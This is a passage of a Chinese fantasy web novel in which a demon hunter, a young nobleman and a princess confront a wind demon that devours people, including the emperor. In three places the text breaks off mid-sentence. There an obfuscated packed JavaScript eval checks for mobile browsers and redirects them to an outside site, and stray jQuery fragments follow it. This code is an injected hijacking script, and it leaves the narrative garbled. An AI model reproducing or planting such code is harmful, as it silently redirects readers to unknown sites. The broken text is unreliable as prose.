“这些乱七八糟的事情我们不管,我只管妖,杀人作恶的妖。你们有吗?” 此话一出,周围顿时安静了。 “杀人作恶?好像没有吧?” “是啊,有朝廷的护卫在,那只妖敢在皇城周围作恶?” 一番讨论下来,竟是没有一个人走上前来。 等了半晌无果,绛仙正准备带着谢如恙走,却听背后有人叫了一声。 她回头,发现叫住她的是一个小胡子男人。 他似乎有些纠结要不要当着这么多人的面说,可在看到绛仙颇为不耐烦的表情后赶忙开口:“我有!虽然我家里没有人死,但是有血。” “血?”绛仙问。 小胡子男人点头:“对,是血。我们家后门上每天都会出现一个血手印,怪吓人的,所以想麻烦你帮忙看看是人为还是妖鬼所为。” 谢如恙兴奋道:“诶,这个有意思!阿绛我们跟这位大哥去看看吧!” 绛仙无奈扶额:“你是来玩的吗?” “反正都帮了两个人了,再多一个也没什么的。走走,我们一起!” 说罢,他就拉着绛仙跟上小胡子男人的步伐。身后的村民们也有不少想去看热闹的,便也跟在两人身后,一群人就这么浩浩荡荡的来到了这男人的后门前头,一看果然有几个可怖的血手印印在门上,还有尖锐指甲划过的划痕。 第一眼确实唬人,但绛仙多观察了一会儿后就得出了结论:这是血,但不是人血。 听到不是人血,有几个胆子大些村民便凑了上来,只闻了一下就叫道:“什么嘛,这不就是鸡血吗?瞧把你给吓得!” 此话一出,周围的人都哄笑起来。 不少人打趣着这小胡子男人是不是做了什么亏心事害怕,以至于连鸡血都闻不出来。 小胡子男人也不辩解,只是干笑了几声后向绛仙道歉:“是我误会了,浪费了您的时间。” “没事没事,不过这是谁印的啊?会不会是你有什么仇家吓唬你的?”谢如恙抢在绛仙前面发问。 “这……” 小胡子男人还在思考,于海就率先提出了自己的猜测:“鸡血的话,会不会是那个疯子啊?她刚刚还偷了我们家的鸡嘞!” 在场的人里也有刚刚跟着于海去追疯子的人,听他这么说也笃定道:“肯定就是!那疯子做事没个规矩,怕是从哪儿学了点唬人的法子用来吓人呢!” 一番推测下来,众人都确定了是那疯子所为,不少人对让小胡子男人把她找出来教训一顿,这样她以后就不会来捣乱了,可男人却有些迟疑。 谢如恙觉得此举不妥,便开口道:“你们要怎么教训?首先说好,要是想打她那我一定第一个不同意!” “那疯子就是不打不长记性!前几个月她扔石头砸了我家的屋顶,我打了她一顿之后她就没有来过了。” “是啊是啊,她还踹了我家栅栏呢!” 一时间,周围炸开了锅,一句接着一句的控诉这个疯子的所作所为。 谢如恙见拦不住便将目光投向绛仙,没想到那小胡子男人却开口了:“这位公子说得对啊,再怎么样那也是个疯子,我们总不能和疯子一般计较,这件事就算了吧。” “啊?这……” 一阵唏嘘过后,小胡子男人脸上挂着笑,道:“算了算了,既然不是什么妖怪所为那就没什么好担心的了,手印而已我擦了就行!” 于是,他挥手散开了看热闹的众人,正要和绛仙三人告别,绛仙却指着不远处一间大门紧锁的屋子,不明所以地问他:“那屋子里有人吗?是谁?” 男人往那个屋子看了一眼,虽然不知道绛仙为什么突然问这个问题,但还是老实地回答:“那屋子里是我儿子,他这里有些问题,我怕他出事就关着了。”他指了指自己的头,身旁的于海也跟着点头,看起来这也不是个秘密。 绛仙讳莫如深的哦了一声后带着谢如恙和于海转身离开。 “我有一个问题。” 走出不远,绛仙和谢如恙异口同声发问。 于海一时摸不着头脑,问:“这,你们谁先问?” 谢如恙举着手:“我先我先!”他一个箭步冲到绛仙面前,问,“你刚刚为什么突然问那个房子啊?有什么问题吗?” 绛仙抱着手臂,道:“我从门缝里看到一只眼睛。” “眼睛?!”谢如恙愕然。 绛仙点了点头,随后将视线是看向于海,提出自己的问题: “那个疯子,为什么会成为疯子?” 这个问题让于海不由顿了一下,思忖片刻才道:“这个说起来也挺唏嘘的,我们边走边说吧,两位不忙的话可以去我家里休息一会儿。” 谢如恙欣喜点头:“好啊,走了这么久也走累了,去于大哥家里休息一下也好,改日我也请你来我府上叙一叙啊!” 于海边走边羞赧道:“这怎么好意思呢?来,这边请!” 绛仙没有拒绝就算是同意了,三人肩并肩朝着于海家走去。 路上,于海将自己所知的关于那个疯子的事情一一告知: 那个疯子有名字,她叫满喜,圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听完这个故事,谢如恙垂着眼发出一声长长的叹息,“怎么会这样呢?” “其实一开始我们也挺心疼她的,可是后来时间长了也烦了。久病床前都没孝子,更何况是我们这些陌生人了。”于海也叹息着。 “那我们有什么办法可以帮她呢?”谢如恙的情绪很是低落,好像自己也跟着这个故事经历了一遍满喜的坎坷一般。 绛仙在一旁看着,随意道:“先找到她再说吧。” 谢如恙猛然惊醒,看着窗外开始变暗的天色,迅速起身:“对啊!天要黑了她一个人在外怕是很危险!我们得先找到她!” 绛仙这次没有反驳,点了点头后就跟着他一起出门了。于海还有自己的事情要做,自然不能跟着两人同去,便将两人送出家门后道了别。 离开前,绛仙还狠狠地教育了他一顿,告诉他妖没有那么闲,不要一出事就往妖身上泼脏水,他也很是尴尬的应了。 两人在村子附近的树林里找了一圈儿,最后在村口的水井旁找到了她。她整个人蜷缩在角落,抱着小腹,看起来已经睡着了。 谢如恙很是不忍,脱下自己的衣裳小心翼翼地帮她盖上,动作轻柔生怕会吵醒了她。 “找到了又该怎么办呢?”他一时有些无助,想了好半晌也只能想到把她带回府去这一个办法,却很快被绛仙否决了。 他问为什么,绛仙便随手指了指她的肚子,道:“因为她怀孕了。” “什么?!” 十分直白的一句话给了谢如恙不小的冲击,他甚至没有压住声音惊叫了一声,捂住嘴平复了好久都没能说出一句话来。 绛仙抬手,深吸一口气后手心聚起一团雪白的光,道:“让开。” 谢如恙结结巴巴地问:“你、你要做什么?” “帮她堕胎。”绛仙说得毫不留情。 谢如恙赶忙护在满喜身前,问:“为什么?” 21. 茧风 绛仙答道:“虽然我不爱多管闲事,但我还是想说,我这是为了她好。” “可是她已经失去一个孩子了,你还要让她失去第二个孩子吗?” 绛仙反问道:“那你觉得她需要这个孩子吗?或者说,她想要这个孩子吗?” “我……”谢如恙不说话了,因为他知道,以满喜现在的状态是绝对不会自发的想要一个孩子的,如今腹中的孩子必然是被别人逼迫所得。 在强迫中诞生的孩子,她若是清醒会想留下吗? “可是,这再怎么说都是一条命啊……”谢如恙刚刚说出这句话就又开始迟疑了。 如果留下这个孩子,那日后又该怎么办?母亲是个疯子,父亲身份不明,这个孩子该如何面对母亲,如何面对其他人? 若是以前,他一定会头脑一热地想把孩子留下来,不知道是不是和绛仙待在一起的时间长了,现在的他前脚刚说瞻前顾后不好,此刻却也是开始学着她瞻前顾后起来了。 半晌,他才瘪着嘴道:“我不知道,我不是她,我也不能理解她。我不知道她想不想要这个孩子,我不敢替她做决定……” 绛仙手中的光球颤了一下,深深地看了满喜一眼,正准备下手却在下一瞬瞥见了一抹熟悉的身影。 她眼神忽得一凌,按住即将开口的谢如恙,让他看向背后。 看清来人后,谢如恙被惊得长大了嘴,“长公主”三个字几乎是压着嗓子说出来的。 绛仙将谢如恙拎起,放下手的同时手心的光球也随之熄灭。 她唇角勾了勾,好像是发现了什么新奇的东西一般,对谢如恙道:“你说,她来这里做什么?” 谢如恙摇头:“我不知道。” “跟上去看看?”绛仙道。 谢如恙思考了一下后开始砸场子:“你不是说你不管闲事吗?” 绛仙瞪他一眼,“再多说一句把你舌头给割了!” 谢如恙立刻把嘴给闭上了。 两人一路跟着赵袂往村后走,直到来到一条河边,谢如恙说这里就是他之前所说的五丈河。 那赵袂来这里做什么? 这个疑问在两人心中久久无法散去。 直到赵袂站定在河边的一处空地后两人才跟着停下。 他们蹲在一棵老树后,一眨不眨地盯着赵袂的动作。不知是不是因为心中恐惧作祟,谢如恙感到一丝寒意,让他不住打了个寒颤。 只见赵袂从袖中拿出一把匕首,没有丝毫犹豫地划开了自己的手掌。 鲜血一滴一滴落在地上,隐没在泥土之中。 随后,她在两人惊诧的目光中缓缓跪下。 赵袂是谁?当朝长公主,皇帝的亲姐姐,她见了皇帝都不用跪,除过先皇太祖这天底下有谁是需要她去跪的? 双膝落地不过片刻,一阵疾风就从西北方向冲来,冷冽到像是带着刀片袭来。 谢如恙甚至险些被这阵怪风吹走,好在绛仙伸手把他给捞了回来。 他惊魂未定地抱着树干,脸上细嫩的皮肉被风刮得生疼。他看着赵袂的背影,想问一句为什么,可是一张嘴就被灌了一嘴的风,还带着一股很浓重的血腥味,好像是生吃了一块还在滴血的肉一样。 绛仙蹙眉看着赵袂的方向,嘴唇抿起。 风越刮越大,直到一团灰到发白的雾气被风刮来,在赵袂不远处停下,这风才停了一些。 谢如恙终于能闭上嘴了,他感觉自己肚子涨得可怕,心想有人说穷了就去喝西北风也不无道理。 他刚想开口,却被绛仙捂住了嘴,目光示意他往赵袂处看。 即使面对疾风,赵袂脸上仍无半点变化,她缓缓从怀中拿出一个小小的锦囊,将囊口的抽绳抽出,锦囊内被关着的东西就争前恐后的跑了出来。 那东西应该被炼化过,各种声音混合在一起的尖啸声响起,几乎能刺穿人的耳膜。它们风卷残云般掠过地面河面,朝着那团白雾飞去。 可还没等它们并入白雾之中,就被突然出现的不速之客拦住了。 赵袂一惊,站起身来对上绛仙那双探究的眼,道:“绛仙姑娘,久违。” 绛仙手中笼着那团黑气,似笑非笑地看着赵袂,回道:“以血饲妖,以妖养妖,长公主殿下好生厉害呀!” 之前绛仙还觉得奇怪,翦星楼存放了那么多妖丹妖的身体又去哪儿了?今日一见才得知,这妖的身体竟是被炼化用来饲养大妖了。 她不禁冷笑,果真是当面一套背后一套,什么为民除妖,这是想饲养妖物为己所用吧? 赵袂眉头皱得极深,伸手索要:“此事另有隐情,待离开此处我会想你一一说明,还请绛仙姑娘莫要阻拦。” 绛仙却道:“我管你什么隐情,上次比试没分出个胜负,今日继续。我赢了,你就得给我道歉!” 赵袂知她还念着上次的摩擦,也知从绛仙手中拿回东西不甚容易,便沉声应道:“好,若是我赢了,还请绛仙姑娘归还手中之物。” 绛仙轻轻哦了一声,“你赢得了再说吧!” 这次赵袂带了武器:一把用来割手的匕首和腰间的长鞭。 众所周知,长公主善射艺善舞鞭。或许是不想与绛仙彻底交恶,她今日只用一把匕首去对绛仙的剑。 两人就这么乒乒乓乓你来我往地打了好半晌。 谢如恙不敢拦也不敢劝,站在一边什么也做不了,只能躲在剑光之外干着急,来回踱步希望能有什么人能从天而降来救他。 可还没等他看到救星,就看到一个令他极其震惊的人。 他吞了吞口水,往绛仙和赵袂缠斗处看了一眼,想叫她们停下,没想到不看不要紧,这一看却让他整个人都头皮发麻。 因为在两人的身后,那团白色的雾不知何时变了样子,从完全没有形状的气体变成了一个几乎可以用“诡异”来形容的形状: 这东西一眼看去像是一个牛头,中部圆而鼓胀,往下伸出一个短粗的柱形,两边各长了一个角,但与牛头不同的是角的末端长了一个圆球,又各有两条触手从“牛头”顶上伸出,连接住那个圆球。 谢如恙一时看呆了,竟是连话都说不出来,只是睁着眼睛,愣愣地往前走。 分明刚刚还是冷冽的寒风,此刻他却感受到了一阵温暖,熟悉的温暖。 好像很久很久以前,他曾来过这里,而现在对方在呼唤他,呼唤他回到久别的家。 等绛仙和赵袂从打斗中回过神时谢如恙已经走到了那团“怪物”面前,正伸出手准备触碰它。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850704|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>绛仙掷出双月挡在他面前,可他却像是感受不到一般呆愣木讷。 危急之下,赵袂抽出腰间的长鞭朝着谢如恙的方向一甩,破空响了一声后缠住他的腰,将他硬生生给拖了回来。 谢如恙被两人围住查看的时候双眼还是愣愣的,仿佛被什么东西给取走了心智。 赵袂心下一沉,道:“糟了……” “什么?”绛仙将目光移到她脸上,笃定赵袂一定知道些什么。 赵袂没有回答,而是将目光落在她手上,道:“先把东西给它!” 情况危急,绛仙也没问为什么,按照赵袂的话将手中的黑气抛出,让它朝着那东西的方向飞去。 白雾吞没了那团黑气,生出些退去的意思。 正当两人都松了口气的时候,赵袂却发现有一道极其熟悉的身影跟在黑气后,正要进入白雾。 她惊叫一声:“阿胤,回来!” 可是赵承胤和谢如恙一样,早就听不见其他声音了,行尸走肉一般站在了怪物面前。 此刻,赵袂也来不及去想弟弟为什么会出现在这里了,只是疯了一般朝着他的方向奔去,可就在她即将抓住弟弟的前一瞬,那团怪物将他彻底吞没,她用尽了力气也只扯下了一片衣角。 在吞吃掉妖气和赵承胤后,怪物餍足的离开了,只留下愣在原地的赵袂。 她大口地吸了几口凉气,等到脑内清醒后才转身看向绛仙。 绛仙扶着谢如恙,迎上赵袂复杂的目光。 “那东西是什么?”绛仙拧眉,“你可别说你不知道。” 赵袂没有说话,算是默认。 许是方才发生的事情太过惊心,她的嘴唇还有些苍白。 半晌,她才抬脚往绛仙的方向走,声音沙哑:“劳烦同我回去。” “回哪儿?皇宫?”绛仙将谢如恙甩到背上,没等赵袂回答就先替她做了决定,“谢府吧?” 赵袂没有迟疑,点头道:“好。” 三人回到谢府的时候已经是破晓了,清晨的凉意带着露水的湿气似乎能将所有东西都洗涤干净,但赵袂心中却还是灰蒙蒙的一片。 她坐在桌旁,接过谢如许递来的水,轻轻道了一声谢。 她的嘴唇已经有些干裂了,得到了水的滋润也没好到哪儿去。 轻抿一口温水后,她看向谢如许,问:“绛仙姑娘呢?” 谢如许温声道:“她在阿恙房间。” 赵袂轻叹一口气,斟酌半晌后才道:“抱歉,是我思虑不周,害得谢二公子出事。” 谢如许也不问是为什么,唇边带着丝丝笑意,道:“殿下不必道歉,可要随我去阿恙房中看看?” 见她似乎有些纠结,谢如许再次开口:“绛仙姑娘如此厉害,说不准会有什么办法救回阿恙呢?” 赵袂带着一丝怀疑看向他,却收到了他肯定的目光。 “殿下大可相信绛仙姑娘,她不会让任何人失望的。” 赵袂发觉一丝不对,蹙眉问道:“你……和她很熟?” 谢如许微微敛眉,唇边的笑意更深了:“不过几面之缘,不算太熟。但是……”他顿了一下,眸中闪过一丝赵袂从未见过的光。 “我相信她,我希望您也愿意相信她。” 22. 往事 谢如许带着赵袂,正准备敲开谢如恙的房门时,绛仙先一步打开了门。没想到会这么巧迎上这两人,她的表情有一瞬的诧异,很快又回到了寻常那副桀骜不驯的模样。 谢如恙出事和她脱不了干系,赵袂心中还有些愧疚,便开口问道:“绛仙姑娘,谢二公子可还好?” 绛仙侧开身子让两人进去,道:“我出手,怎么可能不好?” 赵袂一顿,回头看了谢如许一眼,见他仍是面带微笑,仿佛一切都在他预料之中的样子。随后,她再次看向绛仙,问:“绛仙姑娘还会医术?” 绛仙没回话,只是象征性的哼了一声,转头进了屋子,四平八稳地坐在凳子上。 她当然不会医术!能救谢如恙还是要多亏那只狐妖的妖丹。原本她还以为那狐妖之前是因为和谢如许有旧情才救他的,没想到她还愿意救谢如恙?难道是爱屋及乌? 绛仙不明白,但也懒得搞明白,反正现在她已经把谢如恙救回来了,那就和她没关系了。 谢如许关上门后先去谢如恙床边看了半晌,确认他呼吸平稳,脸色正常后才松了口气,对着绛仙行了一礼,道:“多谢绛仙姑娘了。” 绛仙没理她,一双清澈的眸子死死盯住赵袂,问她:“那现在你能告诉我那团白雾究竟是什么东西了吧?” 赵袂眸中暗了暗,长舒一口气才道:“我也不知道。” 绛仙抱臂,眉头瞬间皱了起来,但还没等她追问,便听赵袂继续道:“我没有骗你,我真的不知道那是什么,不但我不知道,所有人都不知道。那东西早在几百年前就存在了,历代君王无一不为其烦忧,但始终无一人能反制它。” “没有人也没有东西能反制它?这么多年来天下那么多捉妖师就没一个有办法的?”绛仙不太相信,就这么一阵风竟然能困扰这些人几百年。 赵袂摇头,“当真没有。曾经也有人想追本溯源,寻找它的来源以反制它,可是没有一个人找到,就好像真的是一阵风一样,凭空出现又凭空消失。至于硬碰硬,你今日也见到了谢二公子和……阿胤的样子,不难发现那东西还有摄人心智的能力,所以无人能将它捉住。” “所以你们就任由它肆意吃人?”绛仙撑着脸看她。 赵袂闭上了眼,似乎有些难以言说,谢如许很是迅速地接上了话,向绛仙解释道:“之前是。这东西有个习性,只要吃够一定数量的孩童就会离开,所以先皇为了防止损坏房屋人力就想了一个办法。” 谢如许的话没说完,绛仙就猜出来这个办法是什么,也知道赵袂为什么不愿意说出口了。这个办法太过残忍,对“正人君子”来说太过不齿,那就是以活人祭祀,喂饱它,让它安分一段时间。 听到绛仙的抢答,谢如许轻轻点头,“没错,以活人孩童祭祀,又因为父母会对养育许久的孩子生出感情,所以先皇就想了个办法,以金银做赏让民间夫妻多生子女,专供妖物吞食。” “好生恶心的手段啊……”绛仙不禁感慨。 谢如许却话锋一转,道:“不过,十四年前天子登基时国师就宣告那东西被除掉了,为何如今又会出现?” 说罢,他看向了赵袂。 最难以言说的一段往事由他说完,接下来就该让赵袂解释了。 绛仙也跟着看向了赵袂,她终于放下了捂着额头的手,声音有些疲惫,“它从来没有被除掉过,它一直都在。绛仙姑娘有所不知,谢公子口中的‘先皇’并非我和阿胤的父亲,而是我们的叔父。他行事太过残暴,天怒人怨又直流年不利,反军四起,一举攻入汴京夺位。父亲为保皇室正统便带着我和阿胤一同南下,未料想在半路遭反军暗算身亡,就只剩我一人带阿胤入京。因为汴京西北部受妖物侵扰,把守士兵较少,我就打算带着阿胤铤而走险从西北门入城,没想到……” 她的声音有些颤抖,似乎有些说不下去了。 绛仙本在百无聊赖地听故事却突然感到一道目光向自己投来,转头一看,是谢如许。 他目光柔和,绛仙却看懂了他眼神里的意思。 半晌,她才幽幽地接道:“他被那东西给吃了?” 赵袂缓缓地点头,等平复了心情才继续道:“好在有国师相助,帮我救回了阿胤,他还用禁制控制住了妖风,让它只能在那一方活动。之后也是在国师的帮助下我和阿胤才能完成父亲的遗愿成功复位。” “新皇登基,朝堂动荡,我们急需一件事来稳定人心,正巧那东西被国师重伤,所以我们就对外撒了一个谎,说它已经被除掉了。可是撒一个谎需要用一百个谎去圆,我们害怕那东西养好了伤卷土重来,就将那一块地方设为禁地,一边派人把守一边思考应对它的方法。” “因为当时阿胤病重,需以妖丹炼药才能救治,我便下令大力捉拿伤人恶妖以取其妖丹炼药,可是妖丹取了,妖的身体又该怎么办?百般思索无果,我就想着能不能以妖饲妖,用这些妖的身体去填另一个妖的肚子,没想到真的能成功。” 说完这些,赵袂又长长地叹了口气,“但这毕竟不是一个长久的办法,这些年来我日日忧心,四处寻找能人异士相助,直到听说了你,妖丹猎手绛仙。” 绛仙直起了腰,脸上有些不自在。 “取丹炼药,杀妖祭祀,只你一个就够了。” 说完,赵袂站起身,十分郑重地向绛仙行了一个礼,道:“抱歉绛仙姑娘,那晚是我无理在先,才惹得今日之祸,我赵袂在此向你道歉,还望你能不计前嫌,施以援手。” 绛仙的被挺得更直了,在此之前她还从未收到过如此郑重的道歉,一时竟有些无所适从。 “你……我……”半晌,她才道,“我可是妖,你就不怕被别人发现?或者我出尔反尔?” 赵袂认真道:“疑人不用,用人不疑。” 至此,绛仙也没什么好说的了,但她也不确定自己能不能帮到忙,哽了半晌才摆了摆手示意她先起来,“好吧好吧,既然你诚心诚意地道歉了,那我就不计前嫌,帮你这个忙好啦!” 闻言,赵袂又行一礼,道:“多谢绛仙姑娘。” 绛仙被她感激的视线给盯得手忙脚乱,双眼飘忽时意外对上了谢如许带着笑意的眸子。 她蹙眉:笑什么笑? 谢如许垂下眼,嘴角却始终带着弧度。 “对了,我还有一个问题。”赵袂忽然想起了一件事,问,“那里是禁地,你们为何会在那里?” 绛仙看向躺在床上的谢如恙,道:“他呀,他说那里有些作恶的小妖,让我去捉妖取丹。” 赵袂疑惑,正要开口,可就在这时,谢如恙却突然开口说话了。 “娘!娘……” 听到他叫娘,谢如许的神色变了一瞬,三步并两步走到床前,握上了他的手,轻声唤着:“阿恙?阿恙你还好吗?” 谢如恙还在昏迷,嘴里不停喊着娘,看样子是做了什么梦。 赵袂见此知晓自己不便留在这里,便敛眉轻声道:“时间不早了,我就先告辞了,谢二公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850705|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子醒后还请谢公子来信告知。” 谢如许握着弟弟的手,也顾不上行礼,轻轻颔首道:“多谢殿下挂心。” 赵袂离开了,绛仙看了一眼谢如许后也跟着赵袂出了门。 “等等!”她开口叫住赵袂。 赵袂也应声停下,等绛仙来到自己身边后问:“绛仙姑娘可还有什么需要问的?” 绛仙也不拖泥带水,竖起两根手指,道:“两个问题,一,你那个国师是怎么重伤它的?二,报酬。” 赵袂想了想,道:“这个我也不知,且待我前去问问。至于报酬,绛仙姑娘想要什么?金银,权力,还是其他?” 绛仙眼珠一转,道:“你说我那些我都不要,一切搞定之后我要问你几个问题,我要你知无不言。” 赵袂干脆应下了,临走前还是不放心道:“还请绛仙姑娘尽快帮我救出阿胤,我怕时间久了……” 绛仙刚刚放下的手指又竖起来一个,道:“错了,三个问题。你们之前有救出过人吗?” 赵袂摇头,“没有,但是阿胤不同!他身上有国师的护身符,寻常妖物拿他没有办法。” 绛仙垂眸思忖片刻后,应了一声:“好吧,我尽快。” 赵袂重重点头后转身离开了。 等到破晓时分,在皇宫待了几日的长徽回到了谢府。他衣角沾了些泥土,面色也是如土一般的灰雾。 他先去看了谢如恙,确认他没什么问题后才出了门在院子里踱步。 先注意到异常的是谢如许,他眼中流露出一丝担忧后看向身边埋头吃饭的绛仙。 绛仙正要站起身打饭,发觉谢如许的视线后动作一顿,“做什么?不能吃啊?” 谢如许轻笑:“当然不是。” 绛仙撇撇嘴,打完饭才发现在院中池塘边呆坐的长徽,她只是瞥了一眼,随后安稳坐定,开始吃饭。 谢如许问:“你不去看看长徽公子吗?” “我为什么要去看他?我们很熟吗?”绛仙一下一下戳着饭,似是嫌弃地道,“怪不得谢如恙热心得吓人,原来是和你学的啊?你们能不能少管别人的闲事?刚刚让我接那位长公主的话,现在又让我闲着没事跑去关心这位长徽公子?我很闲吗?” 谢如许又问:“你就不好奇他为何心情不好?” 绛仙道:“除了他那个失踪的哥,还能是因为什么?没吃饱吗?要我说,他哥要么是死了,要么是不愿意见他,就这两个可能。死了再找也没有,不愿意见的话,那也没必要找了。” “话不能这么说。”谢如许的眸色暗暗,“说不准对方是有什么苦衷呢?” “你以为自己当了个哥就是所有人的哥了?少管闲事才能活得久一些,开心一些。”说罢,绛仙咬着筷子,在桌上的几道菜间纠结。 谢如许却微微笑道:“多谢绛仙姑娘关心。” 绛仙恨不得一个白眼翻到天上去,谁关心他了?真是爱往自己脸上贴金。 两人吃完早饭时长徽还在池边坐着,盯着池水一动不动,入定了一般。 谢如许擦了擦手放下袖子,又问一遍:“绛仙姑娘真的不去看看?” 绛仙起身就走,道:“谁爱看谁看,我才不去!” 一炷香后,长徽忽然发现水中的倒影多了一个。 一转头,便看到绛仙正坐在自己身边,将发带绕在手指上又散开,看起来很是无聊。 见他向自己看来,闲闲开口:“干坐着不动,想当石头精啊?” 23. 失踪 长徽没有回答,而是反问道:“绛仙姑娘有事?” “没事,随便坐坐。”绛仙见他不说,也干巴巴地答他。 长徽点了点头,轻轻哦了一声后继续转头盯着池水发呆。 两人就这么沉默地坐着,直到绛仙感到小腿传来一丝麻意,才耐不住开口:“你和你哥为什么会分开?” 提到过去,长徽眼底流露出一丝忧伤:“八百年前,昆仑山崩,他为了守住那座山,将我送至安全的地方后就回到了山上。后来,山被稳住,他却不见了。” “神仙会死吗?”绛仙撑着脸问。 长徽点头道:“不会死,但山会。” “啊?”绛仙有些听不明白他的话,什么叫山会死? 长徽淡淡解释道:“他是由山间灵气所化,山即是他,他即是山。等我再次回到山上时,那里冰雪消融,满目疮痍,已经是一座死山了。” “既然你哥已经死了,那你找他还有什么意义?”绛仙不明白,执着于寻找一个死人和守着回忆过一辈子有什么区别?费这么大力气去找,还不如及时行乐,享受当下。 长徽手指微微蜷起,指尖扣着有些发白的衣摆:“我不信,我不信他会死,我不信他会半点魂魄都没有留下。” 绛仙眉梢一抽,心道这人真是个犟种。 “找不到怎么办?” 长徽眼中倔强更添一分,“千年百年,只要我还存于此世,我就会一直找下去。” “可是……” 绛仙还没开口,另一道声音就抢先一步传入两人耳中。 “可是你可曾想过你的兄长不愿看你执着于此呢?”谢如许负手信步走来,目光温柔地落在长徽身上,似是年长者对晚辈的劝告,“同为人兄,想必我也能更能理解你的兄长。若我是他,相比你四处苦寻,更希望你能有自己的生活,交更多朋友,不要执着于过去。” 长徽张了张口似要反驳,可最后却变成了一声叹息般的话:“做不到。” 谢如许眼底一颤,好一会儿才细细的叹了口气,“罢了,既如此我也不好左右你的想法。” 绛仙也被这人的犟给惊到了,问他:“退一万步来讲,你都不记得你哥的样子了,那你见到他认不出怎么办?” 几乎是话音落下的同时,长徽道:“不会认不出的。” 绛仙扯扯嘴角,看向谢如许,眼神好像在说:你看吧,劝不动的! 谢如许也只是无奈地摇了摇头。 绛仙瞬间放弃了劝说他的想法,转问道:“在皇宫待了这么久,你问到什么了吗?” 闻言,长徽顿了顿,“他们没有我兄长的消息,但告诉我一个方法。你可记得之前我与你说的那五样聚天地灵气的宝物?我兄长失踪后昆仑玉也跟着不见了,如今蟾宫桂现世,如果昆仑玉在他身上那我们就可以凭借蟾宫桂找到他。” 绛仙神色变了变,试探问道:“所以,你也要蟾宫桂?” 长徽毅然点头:“要。” 绛仙脸色沉了下来,之前还说只要守住谢如恙身怀蟾宫桂的秘密就没什么麻烦事,就算有人知道了也能直接杀了了事,省的让更多人知道这个消息。可如今长徽需要蟾宫桂还知道蟾宫桂在哪儿,那可就麻烦了。 以他的实力,正面对上的话应该讨不到什么便宜,就凭他的那把剑…… 一只手忽得搭上了她的肩膀,思绪被迫中断。 “男女授受不亲,拿开!”绛仙没好气地甩开谢如许的手。 谢如许不恼,看了看当空的日头,对长徽道:“长徽公子在外奔波几日想必也累了,我方才命人收拾好了屋子,不如先去休息片刻吧。” 长徽确实累了,长长吐出一口气,点头道:“多谢,告辞。” 等长徽离开,谢如许才看向绛仙,语气中带着调笑:“绛仙姑娘不是说不来吗?” 这双带着笑意的眼让绛仙怎么看怎么不舒服,好像自己的所有想法都逃不过他的眼睛一样,被这么盯着更是让她无比烦躁。 她噌的一下站起身来,对谢如许道:“要你管!我想来就来想走就走,你别想干涉我。” 谢如许笑道:“不干涉,绛仙姑娘行止随心,我绝不干涉。” 绛仙切了一声,扭头就走。 正值午时,日照凌空,暖洋洋照在身上,让人一时恍惚这是春日还是冬日。 谢如许抬头看了看,猜想过些日子就要落雪了,他不喜欢雪。 谢如恙是在当天晚上醒来的,腰部酸腿不疼,甚至还舒舒服服地伸了个懒腰。 看着眼前整齐排着的三张脸受宠若惊好一会儿才笑嘻嘻地说自己没事,睡了一个好觉,还做了一个好长的梦,梦到了娘,重新感受了一遍母亲怀抱的温暖。 确认他没事后,谢如许心里的大石头总算是落了下来,但还是担心有什么后遗症,派人守在谢如恙身边,注意他的一举一动,像是把他当成了宝贝疙瘩,生怕出一点事。 绛仙看得牙酸,加上谢如恙知道是自己救了他之后整个人像只上蹿下跳的猴子一样要感谢她,着实让她待不下去。 最后还是谢如许出声制止,让谢如恙安稳躺着休息一会儿,才结束了这场闹剧。 期间,绛仙很是聪明地没有提起皇帝被妖风带走的事情,怕他又热血上头冲过去,帮不了忙就算了还要给他添麻烦。 可是谢如恙哪里是能闲得住的人?等第二天能下床跑了便想着回那个村子去想办法救满喜,对于弟弟的善良和热心谢如许十分欣慰,一边摸着他的发顶夸赞一边命人去关紧了院门。 谢如恙试图翻墙无果后,只能神色恹恹的坐在自己屋里,对着书画瓷器连连叹气,然后喊来了同样忧郁的长徽来和他一起对画自怜。 绛仙乐得清闲,回到自己院子里开始思考如何应对那阵妖风。 妖分为两种。一种是有原形的,什么狐狸呀、猫猫狗狗呀、花草树木呀,之类的。这一类的妖一般都是有明显弱点的,只要熟悉它的习性,就算修为再厉害也能想到应对的法子,这也是最为常见的一种。 至于另一种,就是和这阵妖风一样的,以无形的东西化成妖身。譬如水、风、土、气体…… 这些东西大多没有形状,没有意识,要想制服它们就只能来硬的,用笨办法,在五行之内,兵来将挡水来土掩。 可是,风又该用什么方法呢? 用密不透风的容器将它关起来?可是上哪儿去找密不透风的容器呢?况且风这种东西你就算控制住它的一部分,也没有办法确定还有没有其他部分留在外面。 没有全部抓起来就聚不成妖丹,聚不成妖丹不过多久它又会再生。 无论如何都会留下隐患,这才是最难办的! 绛仙揉了揉眉心,心想自己怎么就一个不注意接下了这个苦差事。 